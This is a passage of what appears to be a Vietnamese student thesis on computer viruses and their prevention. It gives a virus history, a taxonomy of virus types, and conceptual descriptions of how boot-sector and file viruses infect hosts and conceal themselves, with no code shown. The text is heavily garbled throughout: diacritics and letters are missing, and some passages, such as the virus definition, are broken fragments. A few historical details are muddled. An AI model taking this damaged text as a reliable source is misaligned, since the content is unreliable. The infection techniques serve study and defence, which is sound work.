mot so dang virus may tinh va phuong phap phong chong

Upload: dabruce

Post on 03-Jun-2018

214 views

Category:

Documents


0 download

TRANSCRIPT

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    1/68

    1

    Mc lc

    M u.............................................................................................. 3

    Li cm n........................................................................................ 4

    Chng 1.TNG QUAN V VIRUS MY TNH ...................... 5

    1.1. GII THIU V VIRUS MY TNH...5

    1.1.1. Virus my tnh v cc tnh cht................................................... 5

    1.1.2. Tn ca virus my tnh................................................................. 9

    1.1.3. Phn loi virus my tnh............................................................. 11

    1.2. BOOT VIRUS.15

    1.2.1. Phng php ly lan................................................................... 15

    1.2.2. Phn loi Boot Virus................................................................... 16

    1.2.3. Cu trc chng trnh B-Virus ................................................. 18

    1.3. VIRUS FILE...20

    1.3.1. Phng php ly lan................................................................... 20

    1.3.2. Phn loi F-Virus ....................................................................... 21

    1.3.3. Cu trc chng trnh F-Virus.................................................. 21

    1.4. VIRUS MACRO.23

    1.4.1. nh ngha.................................................................................... 23

    1.4.2. Virus Macro W97M/Antivi.a ..................................................... 24

    1.5. TROJAN..26

    1.5.1. nh ngha Trojan....................................................................... 261.5.2. Phng php ly nhim Trojan................................................. 26

    1.5.3. S nguy him ca Trojan.......................................................... 28

    1.5.4. Phn loi Trojan.......................................................................... 28

    1.5.5. Mc ch ca Trojan................................................................... 29

    1.5.6. Phng thc hot ng ca Trojan.......................................... 30

    1.5.7. Cng ca mt s Trojan thng dng......................................... 31

    1.6. INTERNET WORM..321.6.1. Gii thiu chung.......................................................................... 32

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    2/68

    2

    1.6.2. Cc giai on pht trin ca su Internet................................ 35

    Chng 2.NHN DNG V PHT HIN VIRUS.................. 44

    2.1. K THUT NHN DNG VIRUS..44

    2.1.1. Nhn dng chnh xc mu (Signature based delection).......... 44

    2.1.2. Nhn dng theo m i din...................................................... 45

    2.1.3. Scan theo string ........................................................................... 46

    2.1.4. Nhn dng hnh vi ng ng..................................................... 48

    2.1.5. Kimsot lin tc........................................................................ 49

    2.1.6. Kt hp cc phng thc........................................................... 49

    2.2. PHNG PHP PHT HIN VIRUS50

    2.2.1. Qut (scanner) ............................................................................. 50

    2.2.2. Checksum (kim tra tng).......................................................... 50

    2.2.3. Guard (canh phng) .................................................................... 51

    Chng 3.PHNG CHNG VIRUS.......................................... 52

    3.1. D TM TRONG B NH...52

    1/. i vi B-Virus:................................................................................ 52

    2/. i vi RF-Virus: ............................................................................. 533.2. DIT VIRUS V KHI PHC D LIU..53

    3.2.1. B-Virus ......................................................................................... 53

    3.2.2. F- Virus ........................................................................................ 54

    3.2.3. Virus Trojan ................................................................................ 55

    3.2.4. Su Worm .................................................................................... 57

    3.3. TO VIRUS MY TNH..58

    Kt lun........................................................................................... 68

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    3/68

    3

    M uVirus tin hc hin nay ang l ni bn khon lo lng ca nhng ngi

    lm cng tc tin hc, l ni lo sca nhng ngi sdng khi my tnh ca

    mnh bnhim virus. Khi my tnh ca mnh bnhim virus, hchbit trngchvo cc phn mm dit virus hin c trn thtrng, trong trng hp cc

    phn mm ny khng pht hin hoc khng tiu dit c, hblm phi tnh

    hung rt kh khn, khng bit phi lm nhthno.

    V l do , c mt cch nhn nhn c bn v h thng, c ch v cc

    nguyn tc hot ng ca virus tin hc l cn thit. Trn c s , c mt cch

    nhn ng n v virus tin hctrong vic phng chng, kim tra, cha tr cng

    nh cch phn tch, nghin cu mt virus mi xut hin.

    ng vi mi h iu hnh u c nhng loi virus hot ng ring trn

    n nh ng vi h iu hnh DOS ta c virus DOS, ng vi h iu hnh

    Windows ta c virus Windows. V s pht trin ca tin hc gn lin vi n l

    s pht trin ca virus tin hc mi khi c mt phn mm, mt chng trnh,

    mt h iu hnh mi xut hin th virus mi cng xut hin theo v ko theo

    l chng trnh dit virus. V vy vic nghin cu, nhn dng v pht hin

    virus t c bin php thch hp ngn chn v phng tr virus t kt

    qu cao nht.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    4/68

    4

    Li cm n

    Em xin by t lng knh trng v bit n su sc ti PSG.TS Trnh Nht

    Tin, cc gio vin b mn khoa cng ngh thng tin, i hc Dn Lp HiPhng hng dn v ng vin em trong qu trnh lm lun vn ny.

    Em xin cm n cc thy c gio trong trng to iu kin gip em

    hon thnh lun vn ny. Em xin gi li cm n ti gia nh bn b gip

    ng vin to iu kin cho em trong qu trnh lm lun vn.

    V thi gian khng nhiu, kinh nghim cn hn ch, khng trnh khi cc

    thiu st. Em mong nhn c cc kin ng gp ca cc thy c v bn b

    Em xin chn thnh cm n

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    5/68

    5

    Chng1.TNG QUAN V VIRUS MY TNH

    pht hin v dit c virus tin hc th trc ht phi hiu r bn cht

    ca chng. V nguyn tc chung, cng vic dit virus tin hc a phn l lm

    ngc li nhng g m virus lm. V vy, chng ny tp trung nghin cu

    nhng ni dung lin quan n c ch hot ng ca virus lm r bn cht

    ca virus tin hc. T c th xy dng chng trnh tm v dit virus.

    1.1. GII THIU V VIRUS MY TNH

    1.1.1. Virus my tnh v cc tnh cht

    1.1.1.1.Khi nimVirus my

    , i kh

    tnh -

    .

    .

    1.1.1.2. Cc tnh cht

    Tnh ly lan: y l tnh cht quan trng nht i vi tt c cc loi virus.Kh nng ly lan th hin sc mnh ca virus. y l im phn bit virus vi

    mt s chng trnh xu khc cng c kh nng ph hoi d liu v my tnh

    nhng khng t ly lan c.

    Tnh n: tnh cht ny lm cho virus trnh c s pht hin ca cc

    chng trnh anti-virus v tng tc ly nhim, m bo s tn ti ca n.

    Virus c th gim ti a kch thc ca mnh bng cch ti u ho m lnh can hoc s dng mt s gii thut t nn v gii nn. Tuy nhin, iu ny cng

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    6/68

    6

    c ngha l virus phi gim phc tp ca n, d dng cho cc lp trnh vin

    phn tch m lnh.

    Tnh ph hoi: tnh cht ny c th khng c mt s loi virus v n

    gin chng ch c vit ra th gin hoc kim nghim kh nng ly lan

    m thi. Tuy nhin, nhiu loi virus c kh nng ph hoi rt cao.

    1.1.1.3.Lch s pht trin ca virus my tnh

    Virus my tnh c mt qu trnh pht trin kh di, n lun song hnh

    cng nhng chic my tnh. Khi m cng ngh phn mm cng nh phn cng

    pht trin th virus my tnh cng pht trin theo. H iu hnh thay i th

    virus my tnh cng t thay i mnh ph hp vi h iu hnh .C nhiu ti liu khc nhau ni v xut x ca virus my tnh [1,2,3,4].

    Tuy nhin, a s cc ti liu ni v xut x ca virus my tnh u lin quan

    n s kin tr chi Core War.

    1983Nguyn l ca tr chi Core War

    Core War l mt cuc u tr gia hai on chng trnh my tnh do hai

    lp trnh vin vit ra. Mi u th s a mt chng trnh c kh nng t ti

    to gi l Orgnaism vo b nh my tnh. Khi bt u cuc chi, mi u th

    s c gng ph hy Organism ca i phng v ti to Organism ca mnh.

    u th thng cuc l u th t nhn bn c nhiu nht.

    Tr chi Core Warc gi kn n nm 1983, Ken Thompson ngi

    vit phin bn u tin cho h iu hnh UNIX, l ra khi nhn mt trong

    nhng gii thng danh d ca gii in ton- gii thng A.M Turing. Trong

    bi din vn ca mnh ng a ra mt tng v virus my tnh da trn tr

    chi corewar. Cng nm 1983, tin s Frederik Cohen chng minh c s

    tn ti ca virus my tnh.

    Thng 5 nm 1984 t bo Scientific America c ng m t v core

    war v cung cp cho c gi nhng thng tin hng dn v tr chi ny, k t

    virus my tnh xut hin v i km theo n l cuc chin gia nhng vit ra

    virus v nhng ngi dit virus.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    7/68

    7

    1986Virus Brain

    C th coi y l virus my tnh u tin trn th gii, Brain b mt thm

    nhp t Pakistan vo nc M vi mc tiu u tin l trng i hc

    Delaware. Mt ni khc trn th gii cng m t s xut hin ca virus, l trng i hc Hebrew Israel.

    1987Virus Lehigh

    Lehigh l tn ca virus xut hin nm 1987 ti trng i hc cng tn.

    Trong thi gian ny cng c mt s virus khc xut hin, c bit l WORM

    virus (su virus), cn c mng vi cc h thng my ch xut hin. Virus

    Jerusalem gy thit hi cho cng ty IBM vi tc ly lan ng n: 500000

    nhn bn trong 1 gi.

    1988Virus ly lan trn mng

    Ngy 2/11/1988, Robert Morris a virus vo mng my tnh quan trng

    nht ca M, gy thit hi ln. T tr i ngi ta bt u thy c tnh

    nguy hi ca virus my tnh.

    1989Virus AIDS Trojan

    Xut hin Trojan hay cn gi l con nga thnh T roa , chng khng

    phi lvirus my tnh, nhng lun i cng vi khi nim virus. Nhng con

    Trojan ny khi gn vo my tnh th n s ly cp mt s thng tintrn

    v gi n mt a ch m ch ca ch nga ny mun vn chuyn n, hoc

    n gin ch l ph hy d liu trn my tnh .

    1991Virus Tequila

    y l loi virus u tin m th gii chuyn mn gi l virus a hnh.y thc s l loi virus gy au u cho nhng ngi dit virus v qu tht

    khng d dng g dit chng. Chng c kh nng t thay i hnh dng sau

    mi ln ly nhim, lm cho vic pht hin ra chng rt kh khn.

    1992- Virus Michelangelo

    Tip ni s ra i ca virus a hnh nm 1991, trong nm, 1992 sc mnh

    cho cc loi virus my tnh tng nhanh chng mt, nhng ngi vit virus

    to ra s a hnh cc phc tp cho mi virus.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    8/68

    8

    1995Virus Concept

    Sau gn 10 nm k t ngy virus my tnh u tin xut hin, y l loi

    virus u tin c nguyn l hot ng gn nh thay i hon ton so vi virus

    trc y.Sau ny nhng virus theo nguyn l ca virus Concept c gi chung l

    macro, chng tn cng vo cc h son tho vn bn ca Microsoft (Word,

    Excel, Powerpoint) .

    1996Virus Boza

    Khi hng Microsoft chuyn sang h iu hnh Window95 v h cho rng

    virus khng th tn cng c, th nm 1996 xut hin virus Boza ly nhimc trn h iu hnh Windows.

    1999Virus Melissa, Bubbleboy

    Mt bc pht trin mi ca virus, su Mellisa khng nhng kt hp cc

    tnh nng ca su Internet v virus marco m n cn khai thc c mt cng

    c thng s dng hng ngy l Microsoft Outlook Express. Khi mt my tnh

    b nhim su Mellisa, n s t pht tn mnh i m ch nhn my tnh khng h

    hay bit.

    Trong bn ngy, su Mellisa ly nhim 250 ngn my tnh trn th

    gii thng qua Internet, trong c VitNam, gy thit hi hng trm triu

    USD. Su Mellisa chng minh Internet l mt phng tin hu hiu virus

    my tnh c th ly lan trn ton cu trong vi ting ng h.

    Nm 1999, ngoi su Mellisa, virus Chernobyl hay cn gi l CIH ph

    hy d liu ca hng triu my tnh trn th gii, gy thit hi gn 1 t USD

    vo ngy 26/4/1999.

    Nm 2000 Virus Dos, Love Letter

    C th coi y l v vic virus ph hoi ln nht t trc ti nay, Love

    Letter c xut x t Philippines do mt sinh vin nc ny to ra, ch trong

    vng su ting ng h ly nhim ti 20 nc trn th gii trong c Vit

    Nam, ly nhim 55 triu my tnh gy thit hi 8,7 t USD.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    9/68

    9

    Cn Dos (Denial of Service), nhng virus ny pht tn i khp ni, nm

    vng nhng ni n ly nhim.Cui cng chng ng lot tn cng theo kiu

    t chi dch v (Denial of Service yu cu lin tc, t nhiu my tnh ng

    thi, lm cho cc my ch b tn cng khng th phc v c na v dn nt chi cc yu cu mi) vo cc h thng my ch khi ngi iu hnh n ra

    lnh, hoc vo cng mt thi im nh trc. Mt h thng in thoi ca Ty

    Ban Nha l ni b tn cng u tin.

    2001Virus Winux Windows/Linux, Nimda, Code Red

    Winux Windows/Linux virus nh du nhng virus c th ly c trn

    h iu hnh Linux.

    Nimda, Code Red l nhng virus tn cng cc i tng ca n bng

    nhiu con ng khc nhau (t my ch sang my ch hoc t my ch sang

    my trm), cho n thng 9/2002 Vit Nam vn cn nhng c quan vi

    mng my tnh c hng trm my tnh vn b nhim virus Nimda. Chng ch ra

    mt xu hng mi ca cc loi virus my tnh l tt c trong mt, trong mt

    virus bao gm nhiu virus.

    2002S i ca hng lot loi virus mi

    Thng 1/2002, virus ly nhim nhng file .SWF. Thng 3/2002 su

    SharpA (vit bng ngn ng C# ra i). Thng 5/2002 SQLSpider ra i v

    chng tn cng cc chng trnh dng SQL. Perrun ly nhng file nh .JPEG.

    Scalper tn cng cc FreeBSD/Apache Web server.

    1.1.2. Tn ca virus my tnh

    Tn ca virus ni chung thng c t bi nh nghin cu u tin gpvirus . Vn l nhiu nh nghin cu c th cng gp nhng virus mi

    ging nhau nhng cch t tn ca mi ngi th li khc nhau.

    Vic cc cng ty phn mm an ninh cnh tranh nhau c l n v

    u tin t tn cho mt loi virus mi dn n tnh trng ph bin hin nay,

    virus thng c gi bng nhiu danh tnh khc nhau.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    10/68

    10

    Bt ng v tn v cch t tn nhng loi virus to ra nhng iu kh

    hiu trong lnh vc ny, t dn n nhng kh khn trongbin php i ph

    v gp phn gip cho virus d dng pht tn. y cng l ch c a ra

    tho lun ti hi ngh ton cu v chng virus (Virus Bulletin 2003) t chc tiToronto-Canada cui thng 9/2003.

    Vo u thp k 1990 c mt h thng quy c cch t tn do T

    chc nghin cu virus my tnh (CARO) xut. Chnh thc c a ra nm

    1991 v thnh thong c b sung thm vo, h thng ny ra nhng

    nguyn tc v nhng g c th v khng th s dng trong vic t tn cho

    virus, ng thi thit lp mt h thng cc c trng ca virus nh mc

    nguy him, nn b tc ng, h hng ca n Nick Fitzgerald, i din ca

    CARO, khi pht biu v h thng t tn hin nay cho bit nhng nguyn tc

    ca h vn c hiu lc.

    Kiu t tn mang tnh k thut th quan trng i vi cc chuyn gia

    virus, h c th bit c con virus thuc loi no, phin bn th my,

    thng qua tn gi ca virus. Nhng iu li khng qua trng vi hu ht

    nhng ngi s dng my tnh, nhng ngi thng c xu hng nh tn virus

    nh: I Love You v Mellisa (nh tn theo nhng s kin) thay

    v VBS.LoveLetter.A v W97.Mellisa.A. Tm li: bt ng trong vic t tn

    cho virus ca nhng nh nghin cu hay cng ty phn mm an ninh mng to

    ra cho virus cng loi nhiu tn khc nhau. iu to ra s ln ln cho mi

    ngi nhng i vi phn mm dit virus ch xem xt nhng c im, du

    hiu nhn bit ca virus m khng h quan tm n tn ca chng trong vic

    dit virus.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    11/68

    11

    1.1.3. Phn loi virus my tnh

    Mt cch tng i, Virus tin hc c chia ra thanh nm loi [1]:

    Loi 1:Virus Boot (B-Virus)

    V mi trng ly nhim ca chng trn Boot Record ca a mm vMaster Boot Record hoc Boot Record ca a cng, vng cha mt on m

    dng khi ng my tnh. Virus loi ny c kch hot mi khi my tnh

    khi ng t mt a t b nhim chng. Khi c nh thc dy th chng s

    tin hnh thng tr trong b nh, lng l ch c hi ly lan sang cc a khc

    thng qua qu trnh truy nhp a.

    Loi 2: Virus File(F-Virus)Thng ly nhim cc file kh thi .EXE, .COM, .DLL, .BIN, .SYS....

    Loi virus ny hot ng khi cc file kh thi b nhim virus c thi hnh v

    ngay lp tc chng s tm cch ly nhim hoc tin hnh thng tr trong b

    nh v ch c hi ly nhim sangcc file kh thi khc.

    Loi 3: Virus Marco

    Loi ny khc vi loi virus F-Virus truyn thng ch i tng ly

    nhim ca chng khng phi l chng trnh kh thi m l cc file vn bn,

    bng tnhca cc phn mm ng dng c trang b ngn ng marco phctp

    to ra nh Microsoft Excel nm trong b phn mm Office ca hng Microsoft.

    Khi cc tp tin vn bn (hoc cc tp tin Excel) ny c x l bi Microsoft

    Word (hoc Microsoft Excel), Marco Virus s c kch hot, tm cch ly lan

    sang cc file Word, Excel khc.

    Loi 4: Virus TrojanThut ng ny da vo mt in tch c, l cuc chin gia ngi Hy

    Lp v ngi thnh T-roa. Thnh T-roa l mt thnh tr kin c, qun Hy

    Lp khng sao c th t nhp vo c. Ngi ta ngh ra mt k, gi v

    ging ho, sau tng thnh T-roa mt con nga g khng l. Sau khi nga

    c a vo trong thnh, m xung nhng qun lnh t trong bng nga

    xng ra v nh chim thnh t bn trong

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    12/68

    12

    Phng php trn cng chnh l cch m cc Trojan my tnh p dng.

    u tin hacker bng cch no la cho nn nhn s dng chng trnh ca

    mnh. Khi chng trnh ny chy th v b ngoi cng ging nh nhng

    chng trnh bnh thng. Tuy nhin, song song vi qu trnh , mt phn caTrojan s b mt ci ln my nn nhn.n mt thi im nh trc no

    chng trnh ny thc hin vic xa d liu, hay gi nhng thng ip m

    hacker mun ly n mt a ch nh trc trn mng.

    Khc vi virus, Trojan l mt on m chng trnh hon ton khng c

    tnh cht ly lan. N ch c th c ci t khi c kch hot v ly nhim

    c sang my tnh khc khi c ngi c gi i, cn virus th t ng tm

    kim nn nhn ly lan.

    Thng thng cc phn mm c cha Trojan c phn phi nh l cc

    phn mm tin ch, phn mm mi hp dn, nhm d thu ht ngi s dng.

    Bn cnh cc Trojan n cp thng tin truyn thng, mt s khi nim mi

    c dng t tn cho cc trojan mang tnh cht ring bit nh sau:

    BackDoor: L loi trojan (sau khi ci t vo my nn nhn) s t m

    ra mt cng dch v cho php k tn cng (hacker) c th kt ni t xa ti my

    nn nhn, t n s nhn lnh v thc hin lnh m k tn cng a ra.

    Phn mm qung co bt hp php - Adware v phn mm gin ip -

    Spyware: Gy kh chu cho ngi dng khi chng c tnh thay i trang web

    mc nh (home page), cc trang tm kim mc nh (search page)..hay lin tc

    t ng hin ra (pop up) cc trang web qung co khi ta ang duyt web.

    Chng thng b mt xm nhp vo my ca takhi ta v tnh gh thm

    nhng trang web c ni dung khng lnh mnh, cc trang web b kha phn

    mmhoc i theo cc phn mm min ph khng ng tin cy, cc phn mm

    b kha (crack, keygen).

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    13/68

    13

    Loi 5: Su Internet (Internet Worm)

    Su Internet l mt bc tin ng k ca virus. Su Internet kt hp c

    s ph hoi ca virus, s b mt ca Trojan v vic ly lan nhanh chng qua

    ng mng Internet. Vi tc ly lan nhanh chng chng lm t lit hnglot cc h thng my ch, lm ng truyn trn mng qu ti.

    Su Internet thng c tn pht bng cch tm cc a ch trong s a

    ch (Address book) ca my m n ang ly nhim, thng l a ch ca

    ngi thn, khch hngTip n, n t gi bn sao ca n cho nhng a ch

    m n tm thy, a ch ngi gi thngl ch nhn ca my tnh . iu

    nguy him l nhng vic ny din ra m ngi s dng khng h hay bit, ch

    nhn c thng bo l gi virus cho ngi khc th mi bit rng my tnh

    ca mnh b nhim virus.

    Vi cch hon ton tng t trn nhng my tnh nn nhn, su Internet

    c th nhanh chng ly lan trn ton cu theo cp s nhn, iu gii thch ti

    sao ch trong vng vi ting ng h m su Mellisa v su Love Letter li c

    th ly lan ti hng chc triu my tnh trn ton cu. Ci tn su Internet th

    hin vic nhng con su c th b t my tnh ny qua my tnh khc trn

    cc cnh cy Internet

    Vi s ly lan nhanh v rng ln nh vy, su Internet thng c k

    vit ra chng ci thm nhiu tnh nng c bit, chng hn nh chng cth

    nh cng mt ngy gi v ng lot t cc my tnh nn nhn tn cng vo

    mt a ch no , rt kh chng v khc phc c hu qu ca nhng

    cuc tn cng nh vy. Ngoi ra, nhng con su Internet cn c th cho phpch nhn ca chng truy cp vo my tnh ca nn nhn v lm mi th nh

    ngi trn my tnh mt cch hp php.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    14/68

    14

    Khi nim Su Internet cn bao gm cc virus ly lan qua mng chia s

    ngang hng peer to peer, cc virus ly lan qua cc dch v chatting v c bit

    l cc virus khai thc cc l hng phn mm ly lan. Cc phn mm (nht l

    h iu hnh v cc dch v trn ) lun cha ng nhng li tim tng (v d:li trn b m) m khng phi lc no cng c th d dng pht hin ra. Khi

    mt l hng phn mm c pht hin,khng lu sau s xut hin cc virus

    c kh nng khai thc cc l hng ny ly nhim ln cc my tnh t xa mt

    cch m thm m ngi ch my tnh hon ton khng hay bit. T cc my tnh

    ny, Worm s tiptc b qua cc my tnh khc trn mng Internet vi mt

    cch thc tng t.

    Phn loi virus s cung cp cho chng ta mt cch nhn nhn ng n v

    virus my tnh, t xy dng phng php hu hiu ngn chn chng.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    15/68

    15

    1.2. BOOT VIRUS

    1.2.1. Phng php ly lan

    Sau qu trnh POST (Power On Self TestT kim tra khi khi ng)

    sector u tin trn a khi ng c c vo b nh ti a ch 0:07C00h,mt tc v kim tra xem c phi l phn Boot hp l khng bng cch kim tra

    m nhn dng 0AA55h ti cui sector. Tuy nhin vic kim tra ny khng trnh

    khi s h nu ai thay on m Boot bng mt chng trnh khc vi xu.

    V y cng chnh l cch ly lan ca mt B-Virus.

    i vi a mm, sector u tin lun l Boot sector, do vic ly lan

    ch n gin l tin hnh thay th sector ny bng m ca virus.

    i vi a cng c chia Partition, vic ly lan li phc tp hn v u

    tin Master Boot sector c c vo, sau qu trnh kim tra Partition hot

    ng, Boot sector tng ng mi c c vo. Chnh v vy ngi vit ra

    virus c th chn mt trong hai ni lu gim virus: Master Boot sector hay

    Boot sector.

    i vi B-Virus c lu tr ti Master thn lun c np vob nh

    u tin, cho d sau h iu hnh no c s dng v do n c kh

    nng ly lan rt rng. Tuy nhin vn t ra l nhng con virus ny phi bo

    ton Partition table v mt xm phmnh n vng ny cng dn n nhng

    trc trc v a cng.

    i vi Boot sector th c thun li hn trong vic s dng bng tham s

    ca a nm trong vng ny, on mly lan cho a mm cng s c dng

    tng t cho a cng.

    Hai phng php trn u c cc B-Virus sdng, tuy nhin hin

    nay hu ht chng u sdng phng php ly vo Master Boot sector.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    16/68

    16

    Vn then cht m loi virus ny cn gii quyt l Boot sector (Master

    Boot sector) c ca a. Virus s thc hin vic thay th mt Boot sector mi,

    tuy nhin virus khng th thc hin c ht cng vic cho Boot sector (Master

    Boot sector) c v trong sector ny c cha thng tin v a v thc s viruskhng th bit mt cch y sector ny s phi lm nhng g. Chnh l do

    ny m a s ccB-Virus khng b Boot sector c m virus giBoot sector c

    vo mt vng no trn a v sau khi tin hnh xong tc v ci t ca mnh,

    n s c v trao quyniu khin cho on m ca sector ny (tuy nhin c

    mts con virus thc hin m ca mnh ln on m ca Boot sector c

    ch cha thng tin v a m khng ct sector ny i). Mi vic li c Boot

    sector c tip tc thi hnh nh bnh thng. Tuy nhin vic la chn ni ct gi

    Boot sector cng l mt iu kh khn v mi ni trn a u c th b sa i:

    FAT, Root Directory v nht l vng Data. Da vo cch gii quyt vic ct

    giu Boot sector c ny B-Virus c th phn thnh hai loi l SB-Virus v DB-

    Virus.

    1.2.2. Phn loi Boot Virus

    Vic ct gi Boot sector c B-Virus gii quyt theo hai hng:

    Hng th nhtl virus ct Boot sector c vo mt v tr xc nh trn

    mi a v chp nhn ri ro c th b mt sector ny do ghi , d ch ct du

    ny c kh nng b ghi thp nht. Hng gii quyt ny n gin v do

    chng trnh thng khng ln. Ch dng mt sector thay th Boot sector c v

    do loi ny c gi l SB-Virus (Single Boot Virus).

    Hngth hail virus c th ct Boot sector ny vo mt v tr an tontrn a trnh mi mt mt c th xy ra. V kch thc vng an ton c th

    nh bt k, nn virus thng chim trn nhiu sector v c chia lm hai

    phn: mt phn trn Boot sector v mt phn trn vng an ton. V c im

    nh vy, loi virus ny c gi l DB-Virus (Double Boot sector).

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    17/68

    17

    1/. SB-Virus

    Do tnh chp nhn mt mt d liu nn chng trnh ngn gn ch chim

    mt sector. Thng thng SB-Virus chn nhng ni m kh nng ghi ln l

    t nht ct Boot sector c.i vi a mm, cc ni thng chn l:

    -Nhng sector cui cng ca Root Directory v t khi ngi dng khai

    thc ht s entry ca th mc gc.

    -Nhng sector cui cng ca a v khi phn phi lin cung cho mt tp

    tin no , DOS bt u tm lin cung trng t u vng d liu cn c vo

    entry ca n trn FAT.

    i vi a cng th n gin hn v trn hu ht cc a track 0 ch cha

    Master Boot record trn mt sector, cn li cc sector khc trn track ny l b

    trng khng dng n. Do , cc SB-Virus v hu ht cc DB-Virus u chn

    nhng sector trng trn track ny lm ni n nu.

    2/. DB-Virus

    - i vi a s cc virus th kch thc 512 byte (thng thng kchthc ca mt sector l 512 bytes) khng phi l qu rng ri. Do h gii

    quyt bng cch thay th Boot sector c bngBoot sector gi. Boot sector gi

    ny lm nhim v ti tip phn m virus cn li trn a vo b nh r i trao

    quyn iu khin. Sau khici t xong phn ny mi ti Boot sector tht vo

    b nh. Phn m virus cn lic th c nm mt trong nhng ni:

    - i vi a mm: qua mt DOS bng cch dng nhng lin cung cn

    trng. Nhng entry tng ng vi cc lin cung ny trn FAT s b nh du l

    hng cho DOS s khng s dng n na. Phng php th hai u im

    hn l vt ra khi tm kim sot ca DOS bng cch to thm mt track mi

    tip theo track cui cng m DOS c th qun l (iu ny ch p dng vi a

    mm). Tuy nhin phng php ny c nhc im l c mt s loi a mm

    khng c kh nng qun l, khi track mi c thm s gy li khi virus tin hnh

    ly lan. Do vy phng php th nht vn c cc virus sdng nhiu hn.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    18/68

    18

    - i vi a cng: m virus c th c ct gi ti nhng sector sau

    Master Boot record hoc nhng sector cui ca Partition sau khi gim kch

    thc ca Partition i hoc gii quyt tng t nh trn a mm (s dng

    nhng lin cung cn trng v nh du nhng lin cung ny trong bng FAT lhng cho DOS khng s dng na).

    Ni chung cu trc chng trnh SB-Virus hay DB-Virus l nh nhau.

    1.2.3. Cu trc chng trnh B-Virus

    Do c im ch c trao quyn iu khin mt ln khi khi ng my,

    virus phi tm mi cch tn ti v c kch hot li khi cn thit, ngha l

    n ging nh mt chng trnh pop up TSR(Terminate and Stay ResidentKt thc v thng tr). Do vy, chng trnh virus c chia lm hai phn:

    phn khi to v phn thn.

    Phn khi to

    u tin virus tin hnh thng tr bng cch t chp mnh vo vng nh

    cao. Sau m bo tnh pop up ca mnh n lun chim ngt 13h. Ngoi

    ra, phc v cho cng tc ph hoi, gy nhiuvirus cn c th chim cc

    ngt 8,9.Sau khi khi to xong, Boot sector c c tr li ng v tr v

    trao quyn iu khin.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    19/68

    19

    Phn thn

    L phn quan trng cavirus, cha cc on m m phn ln s thay th

    cho cc ngt m n chim. C th chia phn ny thnh bn phn .

    + Phn ly lan:l phn chnh ca thn virus, thay th cho ngt 13h, c tcdng ly lan bng ccht sao chp mnh vo bt ka no cha b nhim.

    + Phn gy nhiu v ngy trang:khi bn cht virus c kho st mt

    cch tng tn th vic pht hin v dit virus khng cn l vn phc tp.

    Vic gy nhiu to nhiu kh khn cho ngichng virus trong vic tm, dit

    virus v phc hi d liu. Vic ngytrang lm cho virus c v b ngoi nh

    bnh thng ngi dit virus v s dng my tnh khng pht hin ra chng.+ Phn ph hoi: khng nht thit phi c. Tuy nhin a s cc virus u

    c phn ny, hin th ch gy trc chc nh, tru chc ngi dngcn c th

    ph hy d liu my tnh. Virus c th ph hoi mt cch ngu nhin hoc

    c nh thi.i vi loi virus c nh thi, virus skim tra mt gi tr

    (c th virusxc nh ngy, gi, thng, nm, s ln ly, s gi my chy).

    Khi gi trny bng hoc vt qua ngng cho php n s tin hnh ph hoi.

    + Phn d liu: ct gi thng tin trung gian, nhng bin ni ti dng

    ring cho virus v Boot sector c.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    20/68

    20

    1.3. VIRUS FILE

    1.3.1. Phng php ly lan

    Virus file truyn thng ni chung ch tin hnh ly lan trn nhng file thi

    hnh c (thng l file .com hoc l file .exe). Khi tin hnh ly lan F-Virustruyn thng cng phi tun theo nguyn tc: quyn iu khin phi nm trong

    tay virus trc khi virus tr n li cho file b nhim (tuy nhin cng c mt s t

    virus li nm quyn iu khin sau mt s lnh no ca file b nhim). Tt

    cd liu ca file phi c bo ton sau khi quyn iu khin thuc v file.

    Cho n nay F-Virus c mt s phng php ly lan c bn sau:

    1/. Chn uThng thng, phng php ny ch p dng i vi cc file dng .COM

    ngha l chng trnh lun PSP:100h. Li dng im ny, virus s chn on

    m ca n vo u file b ly v y ton b file ny xung pha di ngay sau

    n.

    u im:m virus d vit v c dng file .COM. Mt khc, s gy kh

    khn cho ngi dit trong vn khi phc file v phi c ton b file b

    nhim vo b nh ri tin hnh ghi li.

    Nhc im: trc khi tr quyn iu khin li cho file phi m bo u

    vo l PSP:100h, do phi chuyn ton b chng trnh ln a ch ny.

    2/. Ni ui

    Phng php ny c thy trn hu ht cc loi F-Virus v phm vi ly

    lan ca n rng hn phng php trn. Theo nh tn ca phng php ny m

    virus s c gn vo ngay sau file b ly. V do m ca virus khng nm ng

    u vo chng trnh cho nn n s nh v li file b ly bng cch thay i

    mt s d liu ca file sao cho u vo ch ng vo m ca n.

    u im: ly lan trn mi loi file kh thi, thng l file .COM,.EXE,

    .BIN, .OVL mt khc, s thay i d liu trn file b ly l khng ng k v

    vic ot quyn iu khin khng my kh khn.

    Nhc im: d dng cho ngi dit trong vic khi phc d liuv kh

    nh v m virus khi ly nhim vo file v kch thc file bly l bt k.

  • 8/13/2019 Mot So Dang Virus May Tinh Va Phuong Phap Phong Chong

    21/68

    21

    3/. vng trng

    Phng php ny nhm khc phc nhc im lm tng kch thc file

